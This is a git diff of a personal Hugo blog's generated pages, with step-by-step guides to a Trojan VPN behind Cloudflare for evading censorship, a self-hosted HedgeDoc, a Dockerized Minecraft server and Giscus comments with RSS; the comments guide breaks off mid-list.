
In 3x-ui, create a Trojan inbound:

+
    +
  • Local port: 54321
  • +
  • Transport: WebSocket
  • +
  • Path: /stealth-path_abcd1234
  • +
  • Security: none
  • +
  • Password: <PASSWORD>
  • +
+
+

Step 3: Nginx for VPN Domain (web.example.com)

+

Your Nginx is the gatekeeper. Sample config:

+
server {
+    listen 443 ssl http2;
+    server_name web.example.com;
+
+    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
+    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
+
+    # Fake website at root
+    location / {
+        root /var/www/html;
+        index index.html;
+    }
+
+    # Real VPN under secret WS path
+    location /stealth-path_abcd1234 {
+        proxy_pass http://127.0.0.1:54321;
+        proxy_http_version 1.1;
+        proxy_set_header Upgrade $http_upgrade;
+        proxy_set_header Connection "upgrade";
+        proxy_set_header Host $host;
+    }
+}
+

+

Step 4: Firewall Rules

+

Lock things down! Only Cloudflare should reach you:

+
ufw allow 22/tcp
+ufw allow 80/tcp
+ufw allow 443/tcp
+ufw deny 54321/tcp
+

+

Step 5: Client Config

+

Trojan URI:

+
trojan://<PASSWORD>@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN
+

iOS clients: Shadowrocket, Stash, FoXray
+Android clients: v2rayNG, Clash Meta, NekoBox

+
+

Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

+

Symptom: 520 Unknown Error (Cloudflare)

+
    +
  • Likely cause: Nginx couldn’t talk to Trojan.
  • +
  • Check Nginx error log: +
    tail -n 50 /var/log/nginx/error.log
    +
  • +
  • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
  • +
+
+

Symptom: 526 Invalid SSL certificate

+
    +
  • Cloudflare → Nginx cert mismatch.
  • +
  • Run: +
    openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
    +
  • +
  • Make sure CN = web.example.com. If not, fix your cert.
  • +
+
+

Symptom: Blank page on panel

+
    +
  • Check if the base path matches exactly (case-sensitive, slash-sensitive).
  • +
  • Watch for sneaky trailing spaces!
  • +
  • Test locally: +
    curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
    +
  • +
+
+

Symptom: Client won’t connect

+
    +
  • Run a WebSocket test: +
    curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
    +
    Expect 101 Switching Protocols. If not, check Nginx config.
  • +
+
+

Symptom: Censor still blocks you

+
    +
  • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
    +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
  • +
  • Did you use an obvious path like /ws?
    +→ Use a random-looking one like /cdn-assets-329df/.
  • +
+
+

Pro Tips & Fun Tricks

+
    +
  • Serve a fake blog or portfolio at root so your domain looks legit.
  • +
  • Rotate WebSocket paths occasionally.
  • +
  • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
  • +
  • Make friends with your Nginx error.log — it will roast you but it tells the truth.
  • +
+
+

Conclusion

+

By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

+
    +
  • Looks like normal HTTPS.
  • +
  • Hides your origin IP.
  • +
  • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
  • +
+

Congrats — you’ve built a VPN with both style and stealth. 🥷

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
+jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD
+9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l
+jFsQFzNxcgOXKKWevuRtL5MY8RuC+PbsfG2ry2jiOtJa9H2UixVJ5E8Imj+VS47O
+S3XAlxr85O9CEh/TFkS/TuY5P5+VPoOLn6WfdCH5W2IdkW+Vi3bZFJ46LBm6cNBh
+Iydo+r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl
+5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA+38RGmRNFgtR0mhMdtKNt
+QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g
+YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0+CD+M1kQILC
+E8pXSfGhaG2bFCzQ+BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md
+d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr+ql32hsQMQHZtho1nx5HEGCoCWG
+3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y=
+=IovZ
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/vpn.md
+curl -fSLO https://blog.alipour.eu/sources/posts/vpn.md.asc
+gpg --verify vpn.md.asc vpn.md
+  
+
+ + +]]>
Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypthttps://blog.alipour.eu/posts/hedge_doc/Fri, 29 Aug 2025 00:00:00 +0000https://blog.alipour.eu/posts/hedge_doc/<p>HedgeDoc is an open-source collaborative Markdown editor. Think <em>Google Docs for Markdown</em>: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.</p> +<hr> +<h2 id="prerequisites">Prerequisites</h2> +<ul> +<li>A Linux server with <strong>Docker</strong> and <strong>Docker Compose</strong></li> +<li>A domain name pointing to your server (e.g. <code>notes.alipourimjourneys.ir</code>)</li> +<li><strong>Nginx</strong> installed for reverse proxying</li> +<li><strong>Certbot</strong> for Let’s Encrypt certificates</li> +</ul> +<hr> +<h2 id="1-create-the-project-directory">1. Create the project directory</h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir ~/hedgedoc <span style="color:#f92672">&amp;&amp;</span> cd ~/hedgedoc</span></span></code></pre></div> +<hr> +<h2 id="2-create-env">2. Create <code>.env</code></h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>POSTGRES_PASSWORD<span style="color:#f92672">=</span>ChangeThisStrongPassword +</span></span><span style="display:flex;"><span>HD_DOMAIN<span style="color:#f92672">=</span>notes.alipourimjourneys.ir</span></span></code></pre></div> +<p>Generate a strong password with:</p>HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.

+
+

Prerequisites

+
    +
  • A Linux server with Docker and Docker Compose
  • +
  • A domain name pointing to your server (e.g. notes.alipourimjourneys.ir)
  • +
  • Nginx installed for reverse proxying
  • +
  • Certbot for Let’s Encrypt certificates
  • +
+
+

1. Create the project directory

+
mkdir ~/hedgedoc && cd ~/hedgedoc
+
+

2. Create .env

+
POSTGRES_PASSWORD=ChangeThisStrongPassword
+HD_DOMAIN=notes.alipourimjourneys.ir
+

Generate a strong password with:

+
openssl rand -base64 32
+
+

3. Create docker-compose.yml

+
version: "3.9"
+
+services:
+  db:
+    image: postgres:16
+    environment:
+      POSTGRES_USER: hedgedoc
+      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
+      POSTGRES_DB: hedgedoc
+    volumes:
+      - db:/var/lib/postgresql/data
+    restart: unless-stopped
+
+  hedgedoc:
+    image: quay.io/hedgedoc/hedgedoc:1.10.2
+    depends_on:
+      - db
+    environment:
+      CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc
+      CMD_DOMAIN: ${HD_DOMAIN}
+      CMD_PROTOCOL_USESSL: "true"
+      CMD_URL_ADDPORT: "false"
+      CMD_PORT: "3000"
+      CMD_EMAIL: "true"
+      CMD_ALLOW_EMAIL_REGISTER: "false"
+    volumes:
+      - uploads:/hedgedoc/public/uploads
+    ports:
+      - "127.0.0.1:3000:3000"
+    restart: unless-stopped
+
+volumes:
+  db:
+  uploads:
+

Bring it up:

+
docker compose up -d
+
+

4. Get a Let’s Encrypt certificate

+

Request a cert with a DNS challenge:

+
sudo certbot certonly   --manual   --preferred-challenges dns   -d notes.alipourimjourneys.ir   -m you@example.com   --agree-tos --no-eff-email
+

Add the TXT record certbot asks for, wait for DNS to propagate, then continue.
+Certificates will be in:

+
/etc/letsencrypt/live/notes.alipourimjourneys.ir/
+
+

5. Configure Nginx

+

Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:

+
server {
+  server_name notes.alipourimjourneys.ir;
+
+  listen 80;
+  listen [::]:80;
+  return 301 https://$host$request_uri;
+}
+
+server {
+  server_name notes.alipourimjourneys.ir;
+
+  listen 443 ssl http2;
+  listen [::]:443 ssl http2;
+
+  ssl_certificate     /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem;
+  ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem;
+
+  location / {
+    proxy_pass http://127.0.0.1:3000;
+    proxy_set_header Host $host;
+    proxy_set_header X-Real-IP $remote_addr;
+    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+    proxy_set_header X-Forwarded-Proto https;
+
+    proxy_http_version 1.1;
+    proxy_set_header Upgrade $http_upgrade;
+    proxy_set_header Connection "upgrade";
+  }
+}
+

Enable the config and reload Nginx:

+
sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
+sudo nginx -t && sudo systemctl reload nginx
+
+

6. Create users

+

Because we disabled self-registration, create accounts manually:

+
docker compose exec hedgedoc ./bin/manage_users --add alice@example.com
+

You’ll be prompted for a password.
+To reset a password later:

+
docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com
+
+

7. Done!

+

Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉

+
+

Extras:

+
    +
  • Backups: dump the PostgreSQL database and save the uploads volume.
  • +
  • Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d.
  • +
  • Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.
  • +
+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM
+jSrPHA//WlMEZx1k/aGx3zau+wRrAOq4XlrvC7keBvqMs0PJGhJmT8jnOMh0+26w
+AGav2jBuChLYsDx+O8l18uxcsu9fdrz8r4N4sDOnsndSsg15rTT28P3MNvvUL8ns
+iOc9uEUkxF59rT3OXRI56hH3VX6vzxakdAnW3Afhki2Bl54jur2+6RVtuthGUEV+
+QZ/36QVXLrOAas1bqq3f38m4M2no3ZqVvpj+Alur2Ji/gcGZlSArBnIoJQoK5L+r
+UZLJsQ+LrqCJp4i+GkkX05si2srSTjawBu+ssHf+uwPg0Q6AMTbubrGiHrMMtMbM
+4PCFtS8vD/ZBVkVpSBybyXdMxQU+y9AI1LZ//X4cQWdqgRpinOVENuZ2FeVI6qa/
+sBGHLThq9nZEXmMT2oQa1wi+CaY17z9fYj20F5moOp2Q6pxBGPyHZRV3WAr5xURU
+5B9SwVtNqIzm7eoAbwckU3h+TfIJ4vGulSqPqHvZ/XAdbzCVXaSXBN951oA0No1y
+MyvsIskzKVPvSqndYjxLGiopvOpITgxN5q6a7ubBmxYCrS+SF74jPkDjtc4EFuKB
+QrMTBm/+Xl/VEESYv5Mx7hwYv1dnmJUFrx62FUYmAMaFP2UcMIlJJ5zQCwsDdREk
+aG3wFuWH4d9UFohK+MJIHqYk1+TbZJm3bnds8pOqniIZ7M5PcEg=
+=uf5y
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/hedge_doc.md
+curl -fSLO https://blog.alipour.eu/sources/posts/hedge_doc.md.asc
+gpg --verify hedge_doc.md.asc hedge_doc.md
+  
+
+ + +]]>
\ No newline at end of file diff --git a/public-clearnet/categories/guides/page/1/index.html b/public-clearnet/categories/guides/page/1/index.html new file mode 100644 index 0000000..6633a10 --- /dev/null +++ b/public-clearnet/categories/guides/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/categories/guides/ + \ No newline at end of file diff --git a/public-clearnet/categories/homelab/index.html b/public-clearnet/categories/homelab/index.html new file mode 100644 index 0000000..d9459c5 --- /dev/null +++ b/public-clearnet/categories/homelab/index.html @@ -0,0 +1,11 @@ +Homelab | AlipourIm journeys +

Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases

How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

September 29, 2025 · 3 min · Iman Alipour +
+
+RSS + +Visitors this week:
\ No newline at end of file diff --git a/public-clearnet/categories/homelab/index.xml b/public-clearnet/categories/homelab/index.xml new file mode 100644 index 0000000..dd329de --- /dev/null +++ b/public-clearnet/categories/homelab/index.xml @@ -0,0 +1,166 @@ +Homelab on AlipourIm journeyshttps://blog.alipour.eu/categories/homelab/Recent content in Homelab on AlipourIm journeysHugo -- 0.146.0enMon, 29 Sep 2025 09:06:29 +0000Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releaseshttps://blog.alipour.eu/posts/minecraft_server/Mon, 29 Sep 2025 09:06:29 +0000https://blog.alipour.eu/posts/minecraft_server/How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.Why +

I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

+
    +
  • failed to register layer: ... no space left on device
  • +
  • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
  • +
  • Wanting config in a neat .env and no whitelist
  • +
+

Here’s exactly what I did.

+
+

Folder layout

+
~/minecraft/
+├─ docker-compose.yml
+├─ .env
+└─ plugins/
+

+

.env (secrets & knobs)

+

Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

+
# Minecraft server configuration
+EULA=TRUE
+TYPE=PAPER
+VERSION=LATEST
+MEMORY=4G
+USE_AIKAR_FLAGS=true
+
+# RCON (remote console)
+ENABLE_RCON=true
+RCON_PASSWORD=superSecretPassword123
+
+

I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

+
+

docker-compose.yml

+
services:
+  mc:
+    image: itzg/minecraft-server:latest
+    container_name: mc
+    restart: unless-stopped
+    ports:
+      - "25565:25565"        # Java
+      - "19132:19132/udp"    # Bedrock via Geyser plugin
+    env_file:
+      - .env
+    volumes:
+      - mc-data:/data
+      - ./plugins:/plugins:ro
+volumes:
+  mc-data: {}
+
+

The version: key in Compose is obsolete now, so I dropped it.

+
+

Add Geyser (and optional Floodgate) as plugins

+
mkdir -p ~/minecraft/plugins
+cd ~/minecraft/plugins
+
+# Geyser (Spigot/Paper)
+wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
+
+# Floodgate (optional: Bedrock accounts without Java linking)
+wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
+

Start it up:

+
docker compose up -d
+

On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

+
+

Hit a wall: /var ran out of space

+

Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

+
/dev/mapper/ubuntu--vg-var   3.9G  3.4G  333M  92% /var
+

Quick cleanup

+
docker system df
+docker system prune -f
+docker builder prune -af
+sudo apt-get clean
+sudo journalctl --vacuum-size=100M
+

If that’s not enough, you have two good options:

+

Option A — Move Docker’s data off /var

+
sudo systemctl stop docker
+sudo mkdir -p /home/docker
+sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
+echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
+sudo systemctl start docker
+docker info | grep "Docker Root Dir"
+

If all looks good, free the old space:

+
sudo rm -rf /var/lib/docker/*
+

Option B — Grow /var (LVM)

+

Check free space in the VG:

+
sudo vgdisplay   # look for "Free PE / Size"
+

If available, extend /var by +5G:

+
sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
+sudo resize2fs /dev/mapper/ubuntu--vg-var
+

+

The version mismatch: pre-release vs stable

+

My logs showed:

+
Starting minecraft server version 1.21.9 Pre-Release 2
+

That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

+
    +
  1. Ensure .env has: +
    VERSION=LATEST_RELEASE
    +
  2. +
  3. Recreate: +
    docker compose down
    +docker compose pull
    +docker compose up -d
    +
  4. +
  5. Verify: +
    docker logs mc | grep "Starting minecraft server version"
    +# -> Starting minecraft server version 1.21.1   (example)
    +
  6. +
+
+

Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

+
+

No whitelist

+

Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

+
docker exec -it mc rcon-cli "op YourJavaIGN"
+

(or edit /data/ops.json).

+
+

Backup & updates

+
    +
  • World/data live under the mc-data volume → back up /data regularly.
  • +
  • Update cleanly: +
    docker compose pull && docker compose up -d
    +
  • +
  • Watch space: +
    watch -n5 'df -h /var; docker system df'
    +
  • +
+
+

TL;DR

+
    +
  • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
  • +
  • Keep configs in .env.
  • +
  • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
  • +
  • Verify version in logs after each change.
  • +
+

Happy block-breaking! 🧱🚀

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
+jSrrmBAAuVoSvB3tRIzD+N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy
+Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV
+0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw
+7p/hYijX0vGJ8+WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA
+JWQAyEUu3Vx/U0BnN6R9Lne+5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7
+OzvAT5XXRS5Q6Udc7Nsa9T/OYG+elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc
+s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz+UbLDz
+g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r
+NrClzg0Vujk/3zP/6yhCL7I0SwQ+NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH
+F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl+LNOWXf/gomXH6Tqm9vnWr/aX
+sczdH6N2E0+7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M=
+=NmxL
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md
+curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md.asc
+gpg --verify minecraft_server.md.asc minecraft_server.md
+  
+
+ + +]]>
\ No newline at end of file diff --git a/public-clearnet/categories/homelab/page/1/index.html b/public-clearnet/categories/homelab/page/1/index.html new file mode 100644 index 0000000..2c062ed --- /dev/null +++ b/public-clearnet/categories/homelab/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/categories/homelab/ + \ No newline at end of file diff --git a/public-clearnet/categories/index.html b/public-clearnet/categories/index.html new file mode 100644 index 0000000..e66d673 --- /dev/null +++ b/public-clearnet/categories/index.html @@ -0,0 +1,9 @@ +Categories | AlipourIm journeys +
+
+RSS + +Visitors this week:
\ No newline at end of file diff --git a/public-clearnet/categories/index.xml b/public-clearnet/categories/index.xml new file mode 100644 index 0000000..3e4ef96 --- /dev/null +++ b/public-clearnet/categories/index.xml @@ -0,0 +1 @@ +Categories on AlipourIm journeyshttps://blog.alipour.eu/categories/Recent content in Categories on AlipourIm journeysHugo -- 0.146.0enFri, 24 Jul 2026 00:00:00 +0000Guideshttps://blog.alipour.eu/categories/guides/Fri, 24 Jul 2026 00:00:00 +0000https://blog.alipour.eu/categories/guides/CTFhttps://blog.alipour.eu/categories/ctf/Fri, 05 Jun 2026 12:00:00 +0000https://blog.alipour.eu/categories/ctf/Securityhttps://blog.alipour.eu/categories/security/Fri, 05 Jun 2026 12:00:00 +0000https://blog.alipour.eu/categories/security/Privacyhttps://blog.alipour.eu/categories/privacy/Thu, 30 Oct 2025 00:00:00 +0000https://blog.alipour.eu/categories/privacy/Bloghttps://blog.alipour.eu/categories/blog/Thu, 23 Oct 2025 19:31:12 +0200https://blog.alipour.eu/categories/blog/Metahttps://blog.alipour.eu/categories/meta/Thu, 23 Oct 2025 19:31:12 +0200https://blog.alipour.eu/categories/meta/Storieshttps://blog.alipour.eu/categories/stories/Sat, 18 Oct 2025 10:45:00 +0000https://blog.alipour.eu/categories/stories/Gameshttps://blog.alipour.eu/categories/games/Mon, 29 Sep 2025 09:06:29 +0000https://blog.alipour.eu/categories/games/Homelabhttps://blog.alipour.eu/categories/homelab/Mon, 29 Sep 2025 09:06:29 +0000https://blog.alipour.eu/categories/homelab/DevOpshttps://blog.alipour.eu/categories/devops/Fri, 19 Sep 2025 00:00:00 +0000https://blog.alipour.eu/categories/devops/Noteshttps://blog.alipour.eu/categories/notes/Fri, 19 Sep 2025 00:00:00 +0000https://blog.alipour.eu/categories/notes/ \ No newline at end of file diff --git a/public-clearnet/categories/meta/index.html b/public-clearnet/categories/meta/index.html new file mode 100644 index 0000000..6a04336 --- /dev/null +++ b/public-clearnet/categories/meta/index.html @@ -0,0 +1,15 @@ +Meta | AlipourIm journeys +

New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)

Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site. +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did. +I’ve been wanting to add comment section to my blog for a while. There are a few problems. +I don’t want to get attacked by bots or random people for no reason. I don’t want to allow weird things to happen. I don’t want to have a database for it. So… I decided to take a path which is not necesserially the best. It requires a third party to act on your behalf, but it is not as scary as it sounds. According to Github: +...

October 23, 2025 · 15 min · Iman Alipour +
+
+RSS + +Visitors this week:
\ No newline at end of file diff --git a/public-clearnet/categories/meta/index.xml b/public-clearnet/categories/meta/index.xml new file mode 100644 index 0000000..6e23e72 --- /dev/null +++ b/public-clearnet/categories/meta/index.xml @@ -0,0 +1,621 @@ +Meta on AlipourIm journeyshttps://blog.alipour.eu/categories/meta/Recent content in Meta on AlipourIm journeysHugo -- 0.146.0enThu, 23 Oct 2025 19:31:12 +0200New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)https://blog.alipour.eu/posts/comments-rss-papermod/Thu, 23 Oct 2025 19:31:12 +0200https://blog.alipour.eu/posts/comments-rss-papermod/A friendly, copy-pasteable guide to wiring up Giscus comments (GitHub Discussions) and Isso comments + RSS in Hugo PaperMod. +

Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.
+Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did.

+
+

I’ve been wanting to add comment section to my blog for a while. +There are a few problems.

+
    +
  • I don’t want to get attacked by bots or random people for no reason.
  • +
  • I don’t want to allow weird things to happen.
  • +
  • I don’t want to have a database for it.
  • +
+

So… I decided to take a path which is not necesserially the best. +It requires a third party to act on your behalf, but it is not as scary as it sounds. +According to Github:

+
+

What the app can do +The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do.

+
+

What “Act on your behalf” means +That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed.

+
+

Do commenters have alternatives? +Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this.

+
+

Privacy & storage +No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings.

+

With the notice out of the way let’s dive right in!

+
+

Why I chose Giscus (instead of Disqus)

+
    +
  • No ads or trackers (my page weight thanks me).
  • +
  • Uses GitHub Discussions (portable, transparent, easy to search).
  • +
  • Readers log in with GitHub (no mystery auth popups).
  • +
  • In theory you can directly go to the repo’s discussion section and comment there!
  • +
+
+

What you need (for your site, not per user)

+
    +
  • A Hugo site using PaperMod
  • +
  • A GitHub account ✅
  • +
  • A public repository for the discussion threads (I called mine blog-comments) with Discussions enabled ✅
  • +
  • Giscus app installed on that repo ✅
  • +
+

If you like to keep your main site repo clean, use a separate one, e.g. github-username/blog-comments.

+
+

1) Turn on comments with Giscus

+

PaperMod renders a comments.html partial when params.comments = true.
+So we enable it in config and create the partial.

+

1.1 Enable comments globally

+

hugo.toml (snippet)

+
[params]
+  comments = true
+

You can still opt out per post with comments = false in front matter.

+

1.2 Create the comments partial

+

Create this file in your site (not inside the theme):

+
layouts/partials/comments.html
+

Paste the Giscus embed (swap the placeholders with yours from giscus.app):

+
<section id="comments" class="giscus">
+  <script
+    src="https://giscus.app/client.js"
+    data-repo="yourname/blog-comments"
+    data-repo-id="YOUR_REPO_ID"
+    data-category="Comments"
+    data-category-id="YOUR_CATEGORY_ID" <!-- Get them from Giscus's page! -->
+    data-mapping="pathname"
+    data-strict="0"
+    data-reactions-enabled="1"
+    data-emit-metadata="0"
+    data-input-position="bottom"
+    data-theme="preferred_color_scheme"
+    data-lang="en"
+    data-loading="lazy"
+    crossorigin="anonymous"
+    async>
+  </script>
+  <noscript>Enable JavaScript to view comments powered by Giscus.</noscript>
+</section>
+

Notes

+
    +
  • You’ll get repo-id and category-id from giscus.app after picking your repo + category.
  • +
  • data-mapping="pathname" works great for static sites.
  • +
  • Prefer a public repo so visitors can read discussions without friction.
  • +
  • Want a different language? Change data-lang (e.g., de, fr).
  • +
+
+

2) Enable RSS (home + sections)

+

Hugo already knows how to generate feeds; we just tell it where.

+

hugo.toml

+
baseURL = "https://example.com/"  # set your production URL
+
+[outputs]
+  home = ["HTML", "RSS", "JSON"]     # JSON is optional (e.g., for on-site search)
+  section = ["HTML", "RSS"]
+  taxonomy = ["HTML", "RSS"]
+  term = ["HTML", "RSS"]
+
+[services.rss]
+  limit = -1   # -1 = no cap; or set e.g. 20
+

Feed URLs

+
    +
  • Home feed: /index.xmlhttps://example.com/index.xml
  • +
  • Section feeds: /posts/index.xml, /notes/index.xml, etc. (folders are lowercase)
  • +
+
+

If you’re using a .onion address or staging domain, just set that in baseURL.
+Locally, Hugo serves feeds at http://localhost:1313/index.xml.

+
+

3) Show an RSS button on the home page

+

PaperMod shows a nice RSS icon on section/taxonomy lists by default (when enabled), but not on the home page. Two options:

+

Option A — Use the home “social icons” row

+

This appears if you enable Home-Info or Profile mode:

+
[params.homeInfoParams]
+  Title = "Hello, internet!"
+  Content = "Notes, experiments, and occasional rabbit holes."
+
+[[params.socialIcons]]
+  name = "rss"        # lowercase matters
+  url  = "/index.xml"
+
+

Create:

+
layouts/partials/extend_footer.html
+

Paste:

+
<a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS" class="rss-link">
+  {{ partial "svg.html" (dict "name" "rss") }}
+  <span>RSS</span>
+</a>
+

Make it a sensible size:

+

Create:

+
assets/css/extended/rss.css
+

Paste:

+
/* Small & aligned RSS icon in the footer */
+.rss-link { display: inline-flex; align-items: center; gap: .35rem; }
+.rss-link svg { margin-left: 10px; width: 18px; height: 18px; } /* a bit of left margin for good measure!*/
+.rss-link span { font-size: .95rem; }
+

PaperMod auto-bundles anything under assets/css/extended/, so no extra imports needed.

+
+

4) Verify everything

+

Build or run dev:

+
hugo           # outputs to ./public
+# or
+hugo server    # serves at http://localhost:1313
+

Check feeds:

+
# Home feed:
+curl -s http://localhost:1313/index.xml | head
+
+# A section feed (adjust path to your section name):
+curl -s http://localhost:1313/posts/index.xml | head
+

Check comments:

+
    +
  1. Open any post locally.
  2. +
  3. Scroll to the bottom — Giscus should appear.
  4. +
  5. Try a reaction or comment (you’ll be prompted to sign in with GitHub).
  6. +
+
+

5) Per-post controls (handy later)

+

Turn comments off for a single post:

+
# in that post’s front matter
+comments = false
+

Full content in RSS (global):

+
[params]
+  ShowFullTextinRSS = true
+

Show RSS buttons on section/taxonomy lists:

+
[params]
+  ShowRssButtonInSectionTermList = true
+

+

6) Troubleshooting (aka “what I bumped into”)

+
    +
  • +

    Home page has no RSS icon
    +That’s expected; either enable Home-Info/Profile mode + socialIcons, or use the footer partial.

    +
  • +
  • +

    Section feed 404
